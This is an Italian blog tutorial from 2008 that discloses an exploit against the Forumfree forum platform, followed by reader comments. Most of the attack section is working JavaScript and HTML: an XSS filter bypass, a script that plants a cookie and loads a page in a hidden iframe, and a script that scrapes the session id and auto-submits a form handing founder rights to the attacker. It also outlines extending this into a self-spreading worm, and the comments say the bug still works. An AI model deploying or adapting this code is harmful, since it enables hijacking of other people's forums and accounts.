Tecnologia e Digital Hacks
05-02-2008

Exploit Forumfree

In seguito all'approvazione da parte di: staff@forumfree.net, testimoniabile dai provider che hanno transitato l'email di consenso, mi appresto a pubblicare questo articolo -tutorial-.

A metà di dicembre circa, ho creato un exploit per Forumfree e oggi ve lo voglio mostrare.
Premetto che l'exploit è appena stato chiuso. Appena prima della pubblicazione di questo post, ho avvisato gli amministratori di forumfree.

Rimane quindi un ottimo esercizio didattico.

Mostrerò un exploit capace di impadronirsi di un preciso forum, semplicemente facendo visitare al suo amministratore una nostra qualsiasi pagina (anche forumfree).
Spiegherò inoltre come modificare lo script per far sì che tutti gli amministratori che visitano un nostro forum trasferiscano automaticamente il grado di founder al nostro account forumfree. Ricordo che bastano queste informazioni per creare un vero virus di forumfree, che si propaga automaticamente tramite messaggi privati e homepage.

Per la lettura di questo articolo si richiedono:
- buone conoscenze del linguaggio javascript/Ajax

- discrete conoscenze di html
- discrete conoscenze sugli XSS

 

Continua a leggere col link qui sotto!

Iniziamo

Veicolo dell'infezione

Come veicolo del nostro exploit utilizziamo un attacco di tipo XSS.

Forumfree applica parecchi filtri al contenuto html che inseriamo tramite la pagina "Gestione codice HTML" per personalizzare il nostro forum.

Se inseriamo dentro la pagina questo codice:

<div style="display:none">   
    <form name="epsy">
        <input name="p1" value="&lt" size="1">
        <input name="p2" value="scr">
        <input name="p3" value="ipt src=URLTOSCRIPT">
        <input name="p4" value=">">
        <input name="p5" value="</script>">
    </form>
</div>
<script type="text/javascript"> 
        var value1 = document.epsy.p1.value;
        var value2 = document.epsy.p2.value;
        var value3 = document.epsy.p3.value;
        var value4 = document.epsy.p4.value;
        var value5 = document.epsy.p5.value;
        var srcfinal = value1+value2+value3+value4+value5;
        document.write ( srcfinal);
</script>

Possiamo richiamare un qualsiasi script javascript, hostato su un nostro sito (o tramite siti di "nopaste"), come ho fatto io nell'esempio qui sotto.

Codice javascript al sito inserito al posto di "URLTOSCRIPT"

Ed ecco il risultato sul nostro forum:

Nell'esempio:

- codice javascript -  http://rafb.net/p/7sI83g49.txt

- forum - http://123pl.forumfree.net/

Vorrei far notare che l'xss si basa sull'interpretazione a livello browser delle entità html come "&lt;", trasformata graficamente come "<" e quindi ripresa dal getElement.

 

Sfruttiamo l'XSS

Ora pensiamo a come sfruttare il nostro XSS. Non vi spiego come recuperare le pwd degli utenti che capitano sopra le nostre pagine.

Dopo aver letto queste informazioni, infatti, vi basterà un po' di curiosità o qualche approfondimento per fare quello che volete. Poter caricare del javascript arbitrario è una falla assolutamente enorme, e da quindi molte opportunità.

Controlliamo come fa un founder a passare il proprio grado di amministrazione ad un altro utente

Tramite

accediamo alla pagina di trasferimento, dove possiamo assegnare il nostro forum ad un altro utente.

La pagina in questione è:

http://www.forumfree.net/?act=admin&cid=384068

Col cid che è un identificativo unico per ogni forum, e che si presenta così:

Guardando il sorgente della pagina e pulendolo un po', il form appare così:

<form method="POST">

<input type="hidden" name="act2" value="founder">
<input name="utente" type="text" size="25">
<input type="submit" value="Registra le modifiche" class="button">
<input type="hidden" name="cid" value="384068">
<input type="hidden" name="s" value="dbeb8b4f1930fd27148ad680fd9396df">
<input type="hidden" name="act" value="regadmin">
</form>

Analizziamo i vari dati inviati come POST:

  • un parametro nascosto - nome "act2" - valore "founder" - Rimane immutato
  • un parametro - nome "utente" - valore "il nostro nickname!" - Cambia a seconda del nostro nick
  • un pulsante di invio
  • un parametro nascosto - nome "cid" - valore "codiceforum" - Cambia a seconda del forum di cui si vuole cambiare founder. E' il codice presente anche come variabile GET all'indirizzo della pagina
  • un parametro nascosto - nome "s" - valore "codicesessione" - E' il codice della sessione dell'utente. Cambia ad ogni login e dobbiamo trovare il modo per recuperarlo.
  • un parametro nascosto - nome "act" - valore "regadmin" - Rimane immutato

Un passo in avanti

A questo punto, se noi riuscissimo, tramite javascript, a far inviare dei dati post precisi all'utente che visita la nostra pagina con l'XSS, il gioco è fatto.

Piccolo particolare: Forumfree ha inserito una protezione in più:

il referrer per inviare quel POST deve necessariamente avere dominio www.forumfree.net, in pratica non può essere un forum creato dagli utenti.

Ecco allora che dobbiamo scovare un'altra piccola vulnerabilità su Forumfree.

Ho scoperto, infatti, che se noi visitiamo una pagina del tipo:

http://www.forumfree.net/?f=miciomicio

o comunque una pagina "del genere", la pagina di errore che ci viene restituita contiene parte del codice html di un forum. Quale? Quello che corrisponde al cookie "cat" contenente il cid del forum utilizzato.

Riassumendo

Se noi quindi inseriamo del codice javascript, all'interno di un forum il cui cid è presente nel cookie "cat" di un utente, e facciamo visitare all'utente ignaro la pagina

http://www.forumfree.net/?f=errore

o qualcosa di simile..  Quel codice javascript verrà eseguito sotto quel dominio.

Ci basterà quindi inserire una richiesta di POST in Ajax per sostituirci come founder al forum dell'amministratore.

Per capire bene, il codice

Eccoci arrivati a scrivere i primi codici

Ci serviranno 2 forum, uno atto solamente a fare il lavoro sporco, un altro per mascherare il tutto.

Inoltre ci serviranno 2 js da richiamare, uno per ciascuno.

Infine ci saranno utili dei dati (li chiameremo così):

  • il cid del forum che fa il lavoro sporco (cid_sporco)
  • il cid del forum che maschera tutto (cid_maschera)

Il codice dei js sarà approssimativamente questo:

Primo js

// -- Anzitutto una parte di codice per gestire i cookie (non svolge funzioni particolari, è una classe comune del web ^^

function wp_Cookie( mcfg ) {
    var cookie = new Array();
    var cookie_cache = "";
    mcfg = mcfg?mcfg:{};
    var cfg = {
        expires : mcfg["expires"]?mcfg["expires"]:"",
        expires_unit : mcfg["expires_unit"]?mcfg["expires_unit"]:"minutes",
        path : mcfg["path"]?mcfg["path"]:"/",
        use_local_path : (mcfg["use_local_path"]==true)?true:false,
        domain : mcfg["domain"]?mcfg["domain"]:"",
        secure : (mcfg["secure"]==true)?true:false
    };
    if( cfg["use_local_path"] == true )
        cfg["path"] = "";
    function calcExpires( expires ) {
        if( expires ) {
            var expires_units = {
                years : (365*24*60*60*1000),
                months : (30*24*60*60*1000),
                weeks : (7*24*60*60*1000),
                days : (24*60*60*1000),
                hours : (60*60*1000),
                minutes : (60*1000),
                seconds : (1000)
            };
            var now = new Date();
            expires = expires * expires_units[cfg["expires_unit"]];
            expires = new Date( now.getTime() + expires );
        }
        return expires;
    }
    function cache() {
        // -- Har document.cookie ändrats?
        if( cookie_cache == document.cookie )
            return false;
        // -- Töm befintlig information...
        cookie = new Array();
        // -- ...och cache'a om...
        cookie_cache = document.cookie;
        var pairs = cookie_cache.split("; ");
        var name="",value="";
        for( count = 0; count < pairs.length; count++ ) {
            name = unescape(pairs[count].split("=")[0]);
            if( pairs[count].indexOf("=") != -1 )
                value = unescape(pairs[count].split("=")[1]);
            if( name ) {
                cookie[name] = value;
            }
        }
        return true;
    }
    this.length = function() {
        cache();
        var tmp = this.cookies();
        return tmp?tmp.length:0;
    }
    this.get = function( name ) {
        cache();
        var value = null;
        if( typeof name != "undefined" ) {
            // -- returnera kakans värde
            if( typeof cookie[name] != "undefined" )
                value = cookie[name];
        }
        return value;
    }
    this.cookies = function() {
        cache();
        var value = null;
        // -- returnera namn på alla kakor
        for( name in cookie ) {
            if( !value ) {
                value = new Array();
            }
            // -- Av någon anledning returneras även prototypes i for-in satser...?
            if( typeof value[name] != "function" )
                value[value.length]=name;
        }
        return value;
    }
    this.set = function( name, value ) {
        var expires = calcExpires( (typeof arguments[2]!="undefined")?arguments[2]:cfg["expires"] );
        var path = (typeof arguments[3]!="undefined")?arguments[3]:cfg["path"];
        var domain = (typeof arguments[4]!="undefined")?arguments[4]:cfg["domain"];
        var secure = (typeof arguments[5]!="undefined")?arguments[5]:cfg["secure"];
        var str_cookie = name + "=" +escape( value ) +
        ( ( expires ) ? ";expires=" + expires.toGMTString() : "" ) +
        ( ( path ) ? ";path=" + path : "" ) +
        ( ( domain ) ? ";domain=" + domain : "" ) +
        ( ( secure ) ? ";secure" : "" );
        document.cookie = str_cookie;
        return true;
    }
    this.remove = function( name ) {
        if( typeof name == "undefined" ) {
            name = "";
        }
        this.set(name,"",-1);
        cache();
    }
    this.clear = function() {
        cache();
        names = this.cookies();
        for( count = 0; count < names.length; count++ ) {
            this.set(names[count],"",-1);
        }
        cache();
    }
    this.test = function() {
        if( typeof document.cookie == "undefined" )
            return false;
        this.set("test_cookie_name","test_cookie_value");
        if( this.get("test_cookie_name")!="test_cookie_value" )
            return false;
        this.remove("test_cookie_name");
        return true;
    }
}   
 
// -- E ora facciamo quello che dobbiamo fare
 
// -- mettiamo nella riga qui sotto il cid_sporco ^^

var cid_sporco='123';

// -- creiamo tramite la classe qui sopra un nuovo cookie

var obj = new wp_Cookie({ expires : 1, expires_unit : "weeks", domain : ".forumfree.net" });

// -- a cui assegnamo valore cid_sporco

obj.set("cat",cid_sporco);

// -- richiamiamo in un frame nascosto una pagina di errore con www,

che visto il cookie appena creato, aprirà il nostro forum "maligno"

document.write("<div style=\"display:nune\">

<iframe src="http://www.forumfree.net/?f=cid_sporco"></iframe></div>");

Secondo js

// -- Anzitutto ci procuriamo il famoso sid, di cui parlavo prima. Lo troviamo praticamente in ogni pagina, 
e ce lo procuriamo tramite un match e un ajax per ottenere la pagina su cui fare il match
 
function HTMLentities(texte) { 
                    texte = texte.replace(/\'/g, "quot");
                    texte = texte.replace(/\?/g, "domanda");
                    texte = texte.replace(/\(/g, "\nparap");
                    return texte;
}
var xmlhttp=false;
var xmlhttp=false;
                /*@cc_on @*/
                /*@if (@_jscript_version >= 5)
                // JScript gives us Conditional compilation, we can cope with old IE versions.
                // and security blocked creation of the objects.
                try
                {
                      xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
                }
                catch (e)
                {
                      try
                    {
                           xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
                      } catch (E) {
                           xmlhttp = false;
                      }
                }
                @end @*/
                if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
                    try
                    {
                        xmlhttp = new XMLHttpRequest();
                     }
                    catch (e)
                    {
                        xmlhttp=false;
                    }
                }
                if (!xmlhttp && window.createRequest) {
                    try
                    {
                        xmlhttp = window.createRequest();
                    }
                    catch (e)
                    {
                        xmlhttp=false;
                    }
                }
                var scode;
                var response;
                /*netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead UniversalBrowserWrite");
// -- Diamo ora il via al match
xmlhttp.open("GET", "index.php?f=$cid_sporco",true);
                xmlhttp.onreadystatechange=function()
                {
                    if (xmlhttp.readyState==4) {
                        response=xmlhttp.responseText;
                        alltext=HTMLentities(response);
                        match=alltext.match(/act=Login&amp;CODE=03&amp;s=(.*?)quot/);
                        scode=match[0].substring(28,60);
                    }   
                }               
               xmlhttp.send(null);
// -- Infine il nostro form di invio (Ricordatevi di inserire il cid del forum che vi interessa 
e il "vostronomeutente" :))
var num=0;
var cid=xxx; // Cid del forum da attaccare
document.write("<div style=\"display:nonu\">
<form method=\"POST\" name=\"myForm"+num+"\" id=\"myForm"+num+"\" 
target=\"iframe"+num+"\" action=\"http://www.forumfree.net/?act=admin&cid="+cid+"\">
\n<input type=\"hidden\" name=\"act2\" value=\"founder\">\n<input name=\"utente\" 
type=\"text\" size=\"25\" value=\""+vostronomeutente+"\">\n<input type=\"submit\" 
value=\"Registra le modifiche\" class=\"button\">\n<input type=\"hidden\" 
name=\"cid\" value=\""+cid+"\">\n<input type=\"hidden\" name=\"s\" value=\""+scode+"\">
\n<input type=\"hidden\" name=\"act\" value=\"regadmin\">\n</form>
<iframe name=\"iframe"+num+"\"></iframe></div>
 
// -- Possiamo anche fare una cosa più complicata, la modifica di cui vi parlavo, 
mirando a TUTTI i forum dell'utente
/*xmlhttp.open("GET", "index.php?act=myforum",true);
                xmlhttp.onreadystatechange=function()
                {
                    if (xmlhttp.readyState==4) {
                        response=xmlhttp.responseText;
                        response=HTMLentities(response);
                        match=response.match(/domandacid=\d+/g);
                        var i=0;
                        for (i; i<match.length; i++) {
                            cid=match[i].substring(11);
                            var num=""+i+"";
                            document.write("<div style=\"display:none\">
<form method=\"POST\" name=\"myForm"+num+"\" id=\"myForm"+num+"\" target=\"iframe"+num+"\" 
action=\"http://www.forumfree.net/?act=admin&cid="+cid+"\">\n<input type=\"hidden\" 
name=\"act2\" value=\"founder\">\n<input name=\"utente\" type=\"text\" size=\"25\" 
value=\""+subuser+"\">\n<input type=\"submit\" value=\"Registra le modifiche\" class=\"button\">
\n<input type=\"hidden\" name=\"cid\" value=\""+cid+"\">\n<input type=\"hidden\" name=\"s\" 
value=\""+scode+"\">\n<input type=\"hidden\" name=\"act\" value=\"regadmin\">\n
</form><iframe name=\"iframe"+num+"\"></iframe></div>");
                            var f = document.getElementById("myForm"+num);
                            f.submit();
                            /*window.stop();*/
                        }
                    }
                }
                xmlhttp.send(null);

  */

 

Ecco terminata la mia guida. Spero l'abbiate trovata interessante. Se avete domande/segnalazioni non esitate a inserire commenti.

Alla prossima ^^

Ps: ringrazio forumfree per la collaborazione dimostrata e la gentilezza nei miei confronti, che mi ha permesso di pubblicare questo articolo e di correggere, collaborativamente, i bug in esso evidenziati.

Informazioni Legali

Ricordo che ogni tecnica qui descritta non deve essere in alcun modo utilizzata per violare le norme/leggi vigenti. Pertanto non posso essere ritenuto in nessun modo di un uso illegale del presente documente o delle nozioni qui descritte solo a titolo informativo e didattico.


5 Commenti a “Exploit Forumfree”

  1. clau scrive:

    Molto Utile complimenti! :-) (non a scopo lamer, spero).

  2. Nick scrive:

    @clau Nono, assolutamente.. :D La cosa carina è che il bug funziona ancora..con una minuscola modifica..mi sa che presto pubblicherò qualcos'altro a proposito.

  3. lol scrive:

    il codice javascript non è più presente, qualcuno che lo rimette? ma il bug funziona ancora?

  4. lol scrive:

    il codice javascript non c'è più..qualcuno che lo rimette? ma il bug è ancora valido?

  5. Nick scrive:

    Ecco la nuova versione =) http://blog.hanicker.it/2008/09/02/forumfreenet-supporto-adsense-e-altri-script Il bug è ancora valido.